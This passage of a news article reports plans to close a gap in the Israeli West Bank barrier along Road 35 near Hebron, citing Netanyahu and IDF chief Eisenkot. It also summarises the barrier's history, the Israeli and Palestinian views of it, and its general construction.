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Once completed, the security barrier, located on the side of Road 35 in the West Bank, will fortify a segment which starts at the Tarqumiya checkpoint in western Hebron and extends southward to the Meitar checkpoint on the Green Line, through which Palestinians with the right permits can enter into Israel for work or other reasons.

Benjamin Netanyahu pledged to fortify the “gaps” of the West Bank security barrier during his visit to the area in July.

The following month, IDF Chief of Staff Gadi Eisenkot argued there was an urgent need to close the gap in the area to prevent some 50,000-60,000 Palestinians from entering Israel illegally daily. Eisenkot said that the concrete wall will also reduce terror attacks by Palestinians on Israelis.

The Israeli West Bank barrier construction started during the Second Intifada in the year 2000. However, erection of the wall there was almost entirely halted in 2007, with over 300 kilometers of “gaps” remaining.

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The Israeli government views the fence as necessary step to stop the wave of violence inside Israel and as a vital measure against terrorism.

Palestinians view the wall through a prism of racial segregation and call it an apartheid wall.

Some sections of the 708 km (440mi) Israeli West Bank barrier are constructed of concrete blocks of up to 8 meters (26 ft) high. Concrete construction segments are more common in urban settings and in areas where people have been killed by snipers.

The majority of the barrier, however, is constructed using a multi-layered fence system. It contains a lighter-weight fence in the middle which has intrusion detection equipment and an anti-vehicle ditch. The middle fence is then surrounded by barbed wire on the two outer fences.

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